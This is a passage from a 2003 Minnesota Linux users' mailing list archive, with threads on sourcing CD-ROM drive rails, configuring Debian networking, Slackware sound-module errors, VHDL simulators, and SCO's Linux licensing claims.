deal that they are missing, but the case is the > type > > where there are brackets that screw to the side of the CDRom ... to > > allow for them to be slide in and out. So ... there are no screw hole > > in the cases to allow for the install of another CDRom. > > > > I have searched the web for "brackets" and I have had no luck locating > > any. They are simply a piece of metal with a "spring clip" that snaps > > and holds the device in place. Anyone have an idea where I might > locate > > such a part? Without of course buying a new case. > > > > Thanks! > > > > Randy > > > > "The ultimate measure of a man is not where he stands in moments of > > comfort, but where he stands at times of challenge and controversy." - > > Martin Luther King, Jr. > > > > ph: 218-385-3750 > > fax:218-385-3751 > > email: rclark@lakesplus.com > > > > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site design software > http://sitebuilder.yahoo.com > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Mon Aug 4 16:34:36 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] getting Internet working on Debian In-Reply-To: <697D85C7B352D411964600D0B765C19B047CB4B5@saddle.mn1.qbp.com> Message-ID: 1. Add a "sis900" entry to /etc/modules 2. Edit /etc/network/interfaces # The loopback interface auto lo iface lo inet loopback # Static IP Example auto eth0 iface eth0 inet static address 192.168.1.5 netmask 255.255.255.0 gateway 192.168.1.1 # DHCP Example auto eth1 iface etho inet dhcp (Adjust to your network's settings) 3. Edit /etc/resolv.conf so it contains the proper name server(s). 4. ifdown eth0 && ifup eth0 This is all assuming that you're past the installer. If you're not past the installer, you won't be presented with an option for configuring your network if the installer doesn't detect a network card, which I'm betting is how you ended up in your current state. :) Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 4 18:24:51 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <20030804212304.20069.qmail@web13808.mail.yahoo.com> Message-ID: <000e01c35adf$9b2f96e0$6501a8c0@isd.net> Wow and I was just there in April. Go out to Mwave.com and call them they should be able to get them for you. ----- Original Message ----- From: "Joel Dick" To: Sent: Monday, August 04, 2003 4:23 PM Subject: Re: [TCLUG] OT: Hardware Needed - Brackets > Actually, scratch that Dexis idea, I just saw on their website they're not > open to the public anymore. Shoot.... > > Well I'll try to get the name of that other place. > > --- Joel Dick wrote: > > I'm surprised that no one has mentioned Dexis. Check it out > > http://www.dexis.com/. Seems to be a computer junkyard, but they've got > > all sorts of old parts and things, normally pretty cheap. I know of one > > other place over in mendota heights as well, but I don't remember the > > name > > of it. > > > > Speaking of drive rails, I have a server case I've had for a few years > > that I hadn't ever found drive rails for. Nowadays though, it's an AT > > form > > factor case, so unless someone wants a cheaper/slower server, it isn't > > worth much. I might juat have to strip it and get rid of it. Though it > > does look fairly nice (black, on casters, 8 or more 5 1/4" bays, easy > > access to the inside parts) I suppose if anyone was interested in giving > > it a good home I'd be willing to part with it. > > > > I actually don't mind drive rails, I just wish there was a ISDR > > (Industry > > Standard Drive Rail) :) > > > > Joel > > > > --- Randy Clarksean wrote: > > > I just acquired about 10 PC Celeron systems with missing hard drives > > and > > > CDRoms. Not a big deal that they are missing, but the case is the > > type > > > where there are brackets that screw to the side of the CDRom ... to > > > allow for them to be slide in and out. So ... there are no screw hole > > > in the cases to allow for the install of another CDRom. > > > > > > I have searched the web for "brackets" and I have had no luck locating > > > any. They are simply a piece of metal with a "spring clip" that snaps > > > and holds the device in place. Anyone have an idea where I might > > locate > > > such a part? Without of course buying a new case. > > > > > > Thanks! > > > > > > Randy > > > > > > "The ultimate measure of a man is not where he stands in moments of > > > comfort, but where he stands at times of challenge and controversy." - > > > Martin Luther King, Jr. > > > > > > ph: 218-385-3750 > > > fax:218-385-3751 > > > email: rclark@lakesplus.com > > > > > > > > > __________________________________ > > Do you Yahoo!? > > Yahoo! SiteBuilder - Free, easy-to-use web site design software > > http://sitebuilder.yahoo.com > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site design software > http://sitebuilder.yahoo.com > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mike at mikemaurer.net Mon Aug 4 18:43:27 2003 From: mike at mikemaurer.net (Mike M) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets In-Reply-To: <000e01c35adf$9b2f96e0$6501a8c0@isd.net> References: <20030804212304.20069.qmail@web13808.mail.yahoo.com> <000e01c35adf$9b2f96e0$6501a8c0@isd.net> Message-ID: <3F2EEF9F.2000802@mikemaurer.net> Antec has some. I don't know if they'll work for your cases, but you might want to give them a look. http://www.antec-inc.com/pro_details_spareParts.php?ProdID=80804 Mike Sam MacDonald wrote: > Wow and I was just there in April. > > Go out to Mwave.com and call them they should be able to get them for > you. > > ----- Original Message ----- From: "Joel Dick" > To: Sent: Monday, August 04, 2003 4:23 PM > Subject: Re: [TCLUG] OT: Hardware Needed - Brackets > >> Actually, scratch that Dexis idea, I just saw on their website >> they're not open to the public anymore. Shoot.... >> >> Well I'll try to get the name of that other place. >> >> --- Joel Dick wrote: >> >>> I'm surprised that no one has mentioned Dexis. Check it out >>> http://www.dexis.com/. Seems to be a computer junkyard, but >>> they've got all sorts of old parts and things, normally pretty >>> cheap. I know of one other place over in mendota heights as well, >>> but I don't remember the name of it. >>> >>> Speaking of drive rails, I have a server case I've had for a few >>> years that I hadn't ever found drive rails for. Nowadays though, >>> it's an AT form factor case, so unless someone wants a >>> cheaper/slower server, it isn't worth much. I might juat have to >>> strip it and get rid of it. Though it does look fairly nice >>> (black, on casters, 8 or more 5 1/4" bays, easy access to the >>> inside parts) I suppose if anyone was interested in giving it a >>> good home I'd be willing to part with it. >>> >>> I actually don't mind drive rails, I just wish there was a ISDR >>> (Industry Standard Drive Rail) :) >>> >>> Joel >>> >>> --- Randy Clarksean wrote: >>> >>>> I just acquired about 10 PC Celeron systems with missing hard >>>> drives and CDRoms. Not a big deal that they are missing, but >>>> the case is the type where there are brackets that screw to the >>>> side of the CDRom ... to allow for them to be slide in and out. >>>> So ... there are no screw hole in the cases to allow for the >>>> install of another CDRom. >>>> >>>> I have searched the web for "brackets" and I have had no luck >>>> locating any. They are simply a piece of metal with a "spring >>>> clip" that snaps and holds the device in place. Anyone have >>>> an idea where I might locate such a part? Without of course >>>> buying a new case. >>>> >>>> Thanks! >>>> >>>> Randy _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From mj at ToyotaVans.OrG Mon Aug 4 18:55:57 2003 From: mj at ToyotaVans.OrG (Michael H. Jentges) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <20030804212304.20069.qmail@web13808.mail.yahoo.com> <000e01c35adf$9b2f96e0$6501a8c0@isd.net> Message-ID: <3F2EF28D.7050104@ToyotaVans.OrG> Another possible option; the case mfg website? -mj >>> >>>--- Randy Clarksean wrote: >>> >>> >>>>I just acquired about 10 PC Celeron systems with missing hard drives >>>> >>>> >>>and >>> >>> >>>>CDRoms. Not a big deal that they are missing, but the case is the >>>> >>>> >>>type >>> >>> >>>>where there are brackets that screw to the side of the CDRom ... to >>>>allow for them to be slide in and out. So ... there are no screw hole >>>>in the cases to allow for the install of another CDRom. >>>> >>>>I have searched the web for "brackets" and I have had no luck locating >>>>any. They are simply a piece of metal with a "spring clip" that snaps >>>>and holds the device in place. Anyone have an idea where I might >>>> >>>> >>>locate >>> >>> >>>>such a part? Without of course buying a new case. >>>> >>>>Thanks! >>>> >>>>Randy >>>> >>>>"The ultimate measure of a man is not where he stands in moments of >>>>comfort, but where he stands at times of challenge and controversy." - >>>>Martin Luther King, Jr. >>>> >>>>ph: 218-385-3750 >>>>fax:218-385-3751 >>>>email: rclark@lakesplus.com >>>> >>>> >>>> >>>__________________________________ >>>Do you Yahoo!? >>>Yahoo! SiteBuilder - Free, easy-to-use web site design software >>>http://sitebuilder.yahoo.com >>> >>>_______________________________________________ >>>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >>>http://www.mn-linux.org tclug-list@mn-linux.org >>>https://mailman.real-time.com/mailman/listinfo/tclug-list >>> >>> >>__________________________________ >>Do you Yahoo!? >>Yahoo! SiteBuilder - Free, easy-to-use web site design software >>http://sitebuilder.yahoo.com >> >>_______________________________________________ >>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >>http://www.mn-linux.org tclug-list@mn-linux.org >>https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rclark at lakesplus.com Mon Aug 4 19:53:35 2003 From: rclark at lakesplus.com (Randy Clarksean) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <20030804212304.20069.qmail@web13808.mail.yahoo.com> <000e01c35adf$9b2f96e0$6501a8c0@isd.net> <3F2EF28D.7050104@ToyotaVans.OrG> Message-ID: <021601c35aec$02c459b0$0201a8c0@office> I did check the manuf website ... but no luck ... I could not locate just the brackets. I could email them to see if they sell just the bracket I guess. I did find the brackets at http://store.yahoo.com/mypccase/encasdrivrai.html (or at least a very close match) ... but ... when I went to order 10 sets the shipping was $51 !!!!!!! for $38 worth of parts *gulp* Needless to say I emailed them to see if that was in error. 1-2 lbs of small metal brackets should NOT be $51 .. but then again .. what do I know :-) I appreciate all the input and suggestions. Randy > > Another possible option; the case mfg website? > > > -mj > ... snip .... > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 5 07:02:05 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <20030804212304.20069.qmail@web13808.mail.yahoo.com> <000e01c35adf$9b2f96e0$6501a8c0@isd.net> <3F2EF28D.7050104@ToyotaVans.OrG> <021601c35aec$02c459b0$0201a8c0@office> Message-ID: <001f01c35b49$63c06800$6501a8c0@isd.net> mwave.com will be much better with the shipping. I must sound like a commercial but they are really good and post a phone number on their websites main page. ----- Original Message ----- From: "Randy Clarksean" To: Sent: Monday, August 04, 2003 7:53 PM Subject: Re: [TCLUG] OT: Hardware Needed - Brackets > > I did check the manuf website ... but no luck ... I could not locate just > the brackets. I could email them to see if they sell just the bracket I > guess. > > I did find the brackets at http://store.yahoo.com/mypccase/encasdrivrai.html > (or at least a very close match) ... but ... when I went to order 10 sets > the shipping was $51 !!!!!!! for $38 worth of parts *gulp* Needless to say > I emailed them to see if that was in error. 1-2 lbs of small metal brackets > should NOT be $51 .. but then again .. what do I know :-) > > I appreciate all the input and suggestions. > > Randy > > > > > Another possible option; the case mfg website? > > > > > > -mj > > > ... snip .... > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Tue Aug 5 09:28:04 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <20030804212304.20069.qmail@web13808.mail.yahoo.com> <000e01c35adf$9b2f96e0$6501a8c0@isd.net> <3F2EF28D.7050104@ToyotaVans.OrG> <021601c35aec$02c459b0$0201a8c0@office> <001f01c35b49$63c06800$6501a8c0@isd.net> Message-ID: <000e01c35b5d$c86d7a90$0201a8c0@brinstar> Sam MacDonald writes: > mwave.com will be much better with the shipping. > > I must sound like a commercial but they are really good and post a > phone number on their websites main page. Yep, mwave rocks. We order almost all our stuff from them. Their service and prices are excellent. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phil at rephil.org Tue Aug 5 09:54:54 2003 From: phil at rephil.org (Phil Mendelsohn) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] interesting reading In-Reply-To: <20030804170002.18610.95523.Mailman@pirate.real-time.com> References: <20030804170002.18610.95523.Mailman@pirate.real-time.com> Message-ID: <20030805145454.GA9379@rephil.org> > Message: 5 > From: Wil > To: tclug-list@mn-linux.org > Organization: > Date: 03 Aug 2003 22:47:47 -0500 > Subject: [TCLUG] interesting reading > Reply-To: tclug-list@mn-linux.org > > Found this recently and have been reading/following it for a while... > kinda cool to see somebody call the DOJ a bunch of idiots - and then > back it up! > > http://www.lamlaw.com While it's nice to see people intelligently critical of the situation, he's also pretty biased. ("Microsoft is irrelevant." Hard to argue.) But, even cooler than calling the Department of Justice a bunch of idiots would be to be able to say "We have the finest, most effective Dept. of Justice in the world!" or "How can we fix them?" Negativity is pervasive. Random thoughts. Fun link. Coffee's ready -- back to work! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rclark at lakesplus.com Tue Aug 5 11:02:08 2003 From: rclark at lakesplus.com (Randy Clarksean) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] OT: Hardware Needed - Brackets References: <20030804212304.20069.qmail@web13808.mail.yahoo.com> <000e01c35adf$9b2f96e0$6501a8c0@isd.net> <3F2EF28D.7050104@ToyotaVans.OrG> <021601c35aec$02c459b0$0201a8c0@office> <001f01c35b49$63c06800$6501a8c0@isd.net> <000e01c35b5d$c86d7a90$0201a8c0@brinstar> Message-ID: <003a01c35b6a$ef4edd90$0201a8c0@office> I did check with mwave.com ... do luck there either. They do carry the enlight cases, but no add on rail kits like I need. They have those rail kits for 1U, 2U, etc. ... but not these smaller rails. Thanks for all the suggestions .. I am still working on trying to get a call back from the one place that I did find them at .. but at the high shipping charges of $51 .. for 10 sets of these brackets. Randy ----- Original Message ----- From: "David Phillips" To: Sent: Tuesday, August 05, 2003 9:28 AM Subject: Re: [TCLUG] OT: Hardware Needed - Brackets > Sam MacDonald writes: > > mwave.com will be much better with the shipping. > > > > I must sound like a commercial but they are really good and post a > > phone number on their websites main page. > > Yep, mwave rocks. We order almost all our stuff from them. Their service > and prices are excellent. > > -- > David Phillips > http://david.acz.org/ > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Tue Aug 5 16:32:17 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] Linux gets sensitive government use approval Message-ID: <200308051632.17647@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Linux gets sensitive government use approval http://www.cnn.com/2003/TECH/industry/08/05/linux.software.ap/index.html -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jack at jacku.com Tue Aug 5 21:20:04 2003 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] Linux gets sensitive government use approval In-Reply-To: <200308051632.17647@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <200308051632.17647@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <200308052120.04518.jack@jacku.com> On Tuesday 05 August 2003 4:32 pm, Bob Tanner wrote: > Linux gets sensitive government use approval > http://www.cnn.com/2003/TECH/industry/08/05/linux.software.ap/index.html FWIW this came through as a special annoucement on the SuSE alert mailing list. In that notice they go into what has been done to achieve other certifications. I just scanned the CNN story and didn't see if this specific was in there, the current approval is for SuSE Linux Enterprise Server 8 (SLES8) on IBM eServer xSeries. They have done the work and filed for a higher level of certification across the eServer line. -- Jack Ungerleider jack@jacku.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at real-time.com Tue Aug 5 21:14:32 2003 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 12:40:05 2005 Subject: [TCLUG] vhdl compiler/simulator under linux Message-ID: <20030805211432.G11210@real-time.com> I'm looking for recommendations on a vhdl compiler and simulator under linux. I found FreeHDL, but I'd be willing to pay for one of the other environments if there is a commerical alternative for linux that is "best". My twist is that I'd like to simulate the hardware in software and write an application to that simulated-hardware. I've got vhdl code that compiles to a target piece of hardware. I'd like to use that same vhdl code and create a library(?) and header files(?) or some sort of simulated hardware thingie that I could code to so I don't have to be on the real hardware. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 6 06:59:36 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux Message-ID: <001401c35c12$35051c80$6501a8c0@isd.net> I don't know if anyone has seen these, sorry if it's a repeat. http://www.sco.com/scosource/description.html http://www.sco.com/scosource/linuxlicensefaq.html Looks like they are going after any version of the kernel greater then 2.4.X Some good information on the Redhat site. uname -r Sam. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030806/03d6e8b8/attachment.html From scot+tcluggen at thinkunix.net Wed Aug 6 10:35:22 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux In-Reply-To: <001401c35c12$35051c80$6501a8c0@isd.net>; from smac@visi.com on Wed, Aug 06, 2003 at 06:59:36AM -0500 References: <001401c35c12$35051c80$6501a8c0@isd.net> Message-ID: <20030806103522.C12351@thinkunix.net> Sam MacDonald wrote: > I don't know if anyone has seen these, sorry if it's a repeat. > http://www.sco.com/scosource/description.html too bad their legal department can't proofread; This is from the 2nd sentence. it is applies??: "It is applies to commercial uses of a Linux operating system that contains a 2.4 or later version of the kernel..." -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jkey at tomobiki.dyndns.org Wed Aug 6 13:07:54 2003 From: jkey at tomobiki.dyndns.org (Joseph) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux In-Reply-To: <001401c35c12$35051c80$6501a8c0@isd.net> Message-ID: <000701c35c45$a8b07020$0436a8c0@Kurama> Another interesting item on the web site is the IP license cost. You might as well use windows, the single user desktop license cost $199 (this is the introductory, promotional pricing). Joseph Key -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Sam MacDonald Sent: Wednesday, August 06, 2003 7:00 AM To: tclug-list@mn-linux.org Subject: [TCLUG] SCO and Linux I don't know if anyone has seen these, sorry if it's a repeat. ? http://www.sco.com/scosource/description.html ? http://www.sco.com/scosource/linuxlicensefaq.html ? Looks like they are going after any version of the kernel greater then 2.4.X Some good information on the Redhat site. ? uname -r ? Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adam at askewview.net Wed Aug 6 13:27:22 2003 From: adam at askewview.net (Adam) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux In-Reply-To: <000701c35c45$a8b07020$0436a8c0@Kurama> References: <001401c35c12$35051c80$6501a8c0@isd.net> <000701c35c45$a8b07020$0436a8c0@Kurama> Message-ID: <3955.64.83.200.253.1060194442.squirrel@webmail.askewview.net> A friend of mine has recently filed a consumer complaint with MN Attorney General Mike Hatch. He has also offered to talk with him about this issue. Maybe the local LUG's should get together and come up with a good letter that all users commercial or private could send to him to get the message across? Adam > > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Sam MacDonald > Sent: Wednesday, August 06, 2003 7:00 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] SCO and Linux > > I don't know if anyone has seen these, sorry if it's a repeat. > > http://www.sco.com/scosource/description.html > > http://www.sco.com/scosource/linuxlicensefaq.html > > Looks like they are going after any version of the kernel greater then > 2.4.X > Some good information on the Redhat site. > > uname -r > > Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Wed Aug 6 13:56:00 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] slackware modules Message-ID: <0399641989D32043BED5793CCC8F5CD526FAAA@BPEXU1VM2.andersencorp.com> Ok....easy one....on my laptop running slackware 9.0 I get errors every time I boot because it is trying to load the joystick port of my sound card and my sound card has none....i know I have the right sound card selected....i recompiled my kernel to remove joystick support in the sound section and it still does this....what do I need to do to keep this piece of the module from trying to load? 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URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030806/7fe42335/attachment.htm From dru at druswanderings.net Wed Aug 6 14:37:18 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] slackware modules In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FAAA@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FAAA@BPEXU1VM2.andersencorp.com> Message-ID: <3F3158EE.2010701@druswanderings.net> Lansing, Dan wrote: > Ok?.easy one?.on my laptop running slackware 9.0 I get errors every time > I boot because it is trying to load the joystick port of my sound card > and my sound card has none?.i know I have the right sound card > selected?.i recompiled my kernel to remove joystick support in the sound > section and it still does this?.what do I need to do to keep this piece > of the module from trying to load? > > Running kernel 2.4.20 > > Slackware 9.0 > > IBM ThinkPad a22m > > Cs46xx is the soundcard module > > > Dan Lansing > Check the file /etc/modules.autoload... I think. It's been a while since my Slack days. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Wed Aug 6 14:41:25 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] slackware modules Message-ID: <0399641989D32043BED5793CCC8F5CD54D3669@BPEXU1VM2.andersencorp.com> No such file....modules.conf is empty....is not listed in /etc/rc.d/rc.modules Dan Lansing -----Original Message----- From: The Wandering Dru [mailto:dru@druswanderings.net] Sent: Wednesday, August 06, 2003 2:37 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] slackware modules Lansing, Dan wrote: > Ok?.easy one?.on my laptop running slackware 9.0 I get errors every time > I boot because it is trying to load the joystick port of my sound card > and my sound card has none?.i know I have the right sound card > selected?.i recompiled my kernel to remove joystick support in the sound > section and it still does this?.what do I need to do to keep this piece > of the module from trying to load? > > Running kernel 2.4.20 > > Slackware 9.0 > > IBM ThinkPad a22m > > Cs46xx is the soundcard module > > > Dan Lansing > Check the file /etc/modules.autoload... I think. It's been a while since my Slack days. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Wed Aug 6 15:07:03 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] slackware modules In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3669@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D3669@BPEXU1VM2.andersencorp.com> Message-ID: <3F315FE7.4080200@druswanderings.net> Lansing, Dan wrote: > No such file....modules.conf is empty....is not listed in /etc/rc.d/rc.modules > > Dan Lansing > > Bah, rc.modules is what I was thinking of, modules.autoload is a gentooism I think. If the joystick module isn't located in the rc.modules file it's gotta be called from one of the rc scripts. I would start poking around in there. Maybe there is a script for starting sound, et al. Shawn may know, I think he's our regular Slackhead(unless he's been fully converted to Debian). -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 6 15:14:46 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux References: <001401c35c12$35051c80$6501a8c0@isd.net> <20030806103522.C12351@thinkunix.net> Message-ID: <001601c35c57$61bd1e40$6501a8c0@isd.net> LMAO :-) ----- Original Message ----- From: "Scot Jenkins" To: Sent: Wednesday, August 06, 2003 10:35 AM Subject: Re: [TCLUG] SCO and Linux > Sam MacDonald wrote: > > I don't know if anyone has seen these, sorry if it's a repeat. > > http://www.sco.com/scosource/description.html > > too bad their legal department can't proofread; This is from the 2nd > sentence. it is applies??: > > "It is applies to commercial uses of a Linux operating system that > contains a 2.4 or later version of the kernel..." > > -- > scot > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 6 15:18:11 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:06 2005 Subject: [TCLUG] SCO and Linux References: <001401c35c12$35051c80$6501a8c0@isd.net> <000701c35c45$a8b07020$0436a8c0@Kurama> <3955.64.83.200.253.1060194442.squirrel@webmail.askewview.net> Message-ID: <001e01c35c57$dc1cf020$6501a8c0@isd.net> I'm fortunate my only server is Linux 6.2, Kernel 2.2.14-5.0. That is to say my only Linux server, I have a Windoze server to... ----- Original Message ----- From: "Adam" To: Sent: Wednesday, August 06, 2003 1:27 PM Subject: RE: [TCLUG] SCO and Linux > A friend of mine has recently filed a consumer complaint with MN Attorney > General Mike Hatch. He has also offered to talk with him about this issue. > Maybe the local LUG's should get together and come up with a good letter > that all users commercial or private could send to him to get the message > across? > > Adam > > > > > > -----Original Message----- > > From: tclug-list-admin@mn-linux.org > > 